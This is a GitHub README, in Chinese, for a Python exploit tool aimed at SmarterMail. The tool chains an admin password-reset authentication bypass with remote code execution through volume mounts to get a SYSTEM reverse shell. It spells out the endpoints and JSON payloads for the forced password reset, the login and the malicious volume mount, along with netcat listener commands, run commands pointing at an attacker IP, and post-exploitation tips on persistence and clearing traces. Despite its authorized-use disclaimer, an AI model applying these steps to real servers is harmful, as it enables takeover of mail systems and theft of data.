ninjazan420/CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001
GitHub: ninjazan420/CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001
针对 SmarterMail 的 Python 漏洞利用脚本,组合认证绕过与远程代码执行漏洞实现一键获取 SYSTEM 权限。
Stars: 2 | Forks: 0
# CVE-2025-52691 / WT-2026-0001 SmarterMail 漏洞利用工具
## 🚨 重要声明
**本工具仅用于授权的安全测试和教育目的!**
- **未经授权的使用是非法且不道德的**
- **仅在获得明确授权的系统上使用**
- **使用风险自负**
- **用户需自行遵守所有适用法律**
## 📋 概述
该漏洞利用工具结合了 SmarterMail 中的两个严重漏洞:
1. **CVE-2025-52691**: 通过文件上传实现预认证远程代码执行 (Pre-Auth Remote Code Execution)
- CVSS 评分:10.0 (严重)
- 受影响版本:Build 9406 及更早版本,Build 16.3.6989.16341 及更早版本
- 修复版本:Build 9413 及更高版本
https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
2. **WT-2026-0001**: 通过密码重置绕过认证
- 尚未分配 CVE-ID
- 受影响版本:Build 9510 及之前版本
- 修复版本:Build 9511 (2026年1月15日)
https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/
### 攻击向量
该漏洞利用执行三阶段攻击:
1. **阶段 1**: 通过 WT-2026-0001 绕过认证
- 无需验证旧密码即可更改 admin 密码
2. **阶段 2**: 使用新密码进行管理员登录
- 认证到 SmarterMail Web 界面
3. **阶段 3**: 通过卷挂载 (Volume Mounts) 功能实现 RCE
- 创建包含反向 Shell 命令的卷挂载
- 以 SYSTEM 权限执行操作系统命令
## 前置条件
### 系统要求
- **Python 3.6+**
- **Netcat (nc)**
- **curl**
- **Linux/macOS/Windows (WSL)**
### 安装说明
```
# 安装 Python 3(如果尚未安装)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip
# macOS
brew install python3
# Windows (WSL)
wsl --install
# 安装 netcat
# Ubuntu/Debian
sudo apt install netcat
# macOS
brew install netcat
# Windows (WSL)
sudo apt install netcat-traditional
```
### 安装依赖
```
# Python 依赖(如果需要)
pip3 install requests
```
## 快速开始
### 方法 1:自动设置(推荐)
```
# 设为可执行文件
chmod +x run_exploit.sh
# 自动设置
./run_exploit.sh --auto
# 或交互式设置
./run_exploit.sh
```
### 方法 2:直接执行
```
# 设置监听器(在一个终端中)
nc -lvnp 4444
# 运行 exploit(在另一个终端中)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
```
### 方法 3:带所有选项
```
python3 exploit.py \
-H http://192.168.1.100 \
-P 9998 \
-A 192.168.1.50 \
-p 4444 \
-d \
--admin-username admin \
--new-password "MySecurePassword123!"
```
## 详细说明
### 步骤 1:准备
1. **目标识别**
# 检查目标主机
curl -I http://192.168.1.100:9998
# 识别 SmarterMail 版本
# (通常在登录页面或 HTTP 头中)
2. **监听器设置**
# 在终端 1 中:启动监听器
nc -lvnp 4444
# 监听器必须在执行漏洞利用之前运行
3. **网络验证**
# 确保攻击者与目标之间的连接可行
ping 192.168.1.100
nc -zv 192.168.1.100 9998
### 步骤 2:执行漏洞利用
```
# 使用 runner 脚本(推荐)
./run_exploit.sh
# 或直接使用 Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
```
### 步骤 3:利用后操作
1. **Shell 连接**
# 在监听器终端中,现在应该会出现一个连接
# 你应该拥有一个 SYSTEM shell
2. **验证访问权限**
# 在获取的 shell 中
whoami
hostname
ipconfig /all # Windows
ifconfig # Linux
3. **持久化访问**
# 可选:设置持久化
# Windows: 安装为服务
# Linux: Cron 任务或 systemd 服务
## 🔧 配置选项
### Exploit.py 参数
| 参数 | 描述 | 默认值 |
|-----------|-------------|---------------|
| `-H, --host` | 目标主机(必填) | - |
| `-P, --port` | 目标端口 | 9998 |
| `-A, --attacker-ip` | 用于反向 Shell 的攻击者 IP(必填) | - |
| `-p, --attacker-port` | 用于反向 Shell 的攻击者端口(必填) | - |
| `-d, --debug` | 启用调试模式 | False |
| `--admin-username` | 管理员用户名 | admin |
| `--new-password` | 新的管理员密码 | NewPassword123!@# |
### Run_Exploit.sh 参数
| 参数 | 描述 |
|-----------|-------------|
| `-t, --target` | 目标主机 |
| `-p, --port` | 目标端口 |
| `-a, --attacker-ip` | 攻击者 IP |
| `-l, --listener-port` | 监听器端口 |
| `-n, --new-password` | 新的管理员密码 |
| `-u, --admin-user` | 管理员用户名 |
| `-d, --debug` | 调试模式 |
| `--auto` | 自动化模式 |
## 示例
### 示例 1:基本用法
```
# 终端 1:启动监听器
nc -lvnp 4444
# 终端 2:运行 exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
```
### 示例 2:使用自定义凭据
```
python3 exploit.py \
-H https://mail.company.com \
-P 443 \
-A 10.0.0.1 \
-p 8080 \
--admin-username administrator \
--new-password "ComplexPassword123!@#"
```
### 示例 3:调试模式
```
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
```
### 示例 4:自动设置
```
./run_exploit.sh --auto
```
## 技术细节
### 阶段 1:认证绕过
**端点**: `POST /api/v1/auth/force-reset-password`
**Payload**:
```
{
"IsSysAdmin": "true",
"OldPassword": "dummy",
"Username": "admin",
"NewPassword": "NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"
}
```
**成功响应**:
```
{
"success": true,
"resultCode": 200,
"debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}
```
### 阶段 2:管理员登录
**端点**: `POST /api/v1/auth/login`
**Payload**:
```
{
"username": "admin",
"password": "NewPassword123!@#"
}
```
### 阶段 3:通过卷挂载实现 RCE
**端点**: `POST /api/v1/settings/volume-mounts`
**Payload**:
```
{
"name": "random_volume_name",
"path": "C:\\Temp\\random_volume_name",
"command": "powershell reverse shell command",
"enabled": true,
"type": "command"
}
```
## 故障排除
### 常见问题
#### 1. 端口被阻止
```
# 错误:"Connection refused"
# 解决方法:检查防火墙并开放端口
sudo ufw allow 9998
```
#### 2. 监听器无法访问
```
# 错误:"Connection failed"
# 解决方法:检查监听器设置
nc -lvnp 4444
```
#### 3. 认证失败
```
# 错误:"Login failed"
# 解决方法:检查目标版本(必须存在漏洞)
```
#### 5. RCE 失败
```
# 错误:"Volume mount creation failed"
# 解决方法:检查管理员权限、目标系统
```
### 调试模式
启用调试模式以获取详细输出:
```
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
```
## ⚠️ 安全说明
### 法律方面
- **仅执行授权的测试**
- **获取书面许可**
- **确保遵守当地法律**
- **不在生产系统上测试**
### 安全预防措施
1. **测试环境**:始终在受控环境中测试
2. **目标验证**:确保目标是测试系统
3. **网络隔离**:将测试系统与生产网络分开
4. **文档记录**:记录所有测试
5. **清理**:测试后清除所有痕迹
### 负责任地使用
- **不要造成损害**
- **不要窃取或篡改数据**
- **不要禁用系统**
- **对责任方保持透明**
## 更新与维护
### 版本说明
- **v1.0**: 具备完整功能的初始版本
- **未来更新**: 改进错误处理和稳定性
## 🙏 致谢
- **watchTowr Labs** 的原创研究
- **安全研究社区** 的支持
- **所有对改进做出贡献的人**
**⚠️ 切记:能力越强,责任越大!**
标签:CISA项目, CVE-2025-52691, CVSS 10.0, PoC, Python, RCE, SmarterMail, Web安全, WT-2026-0001, 企业邮箱, 协议分析, 反弹Shell, 子域名枚举, 密码重置漏洞, 应用安全, 攻击脚本, 文件上传漏洞, 无后门, 暴力破解, 权限提升, 系统安全, 编程工具, 网络安全, 网络安全审计, 蓝队分析, 认证绕过, 远程代码执行, 隐私保护, 高危漏洞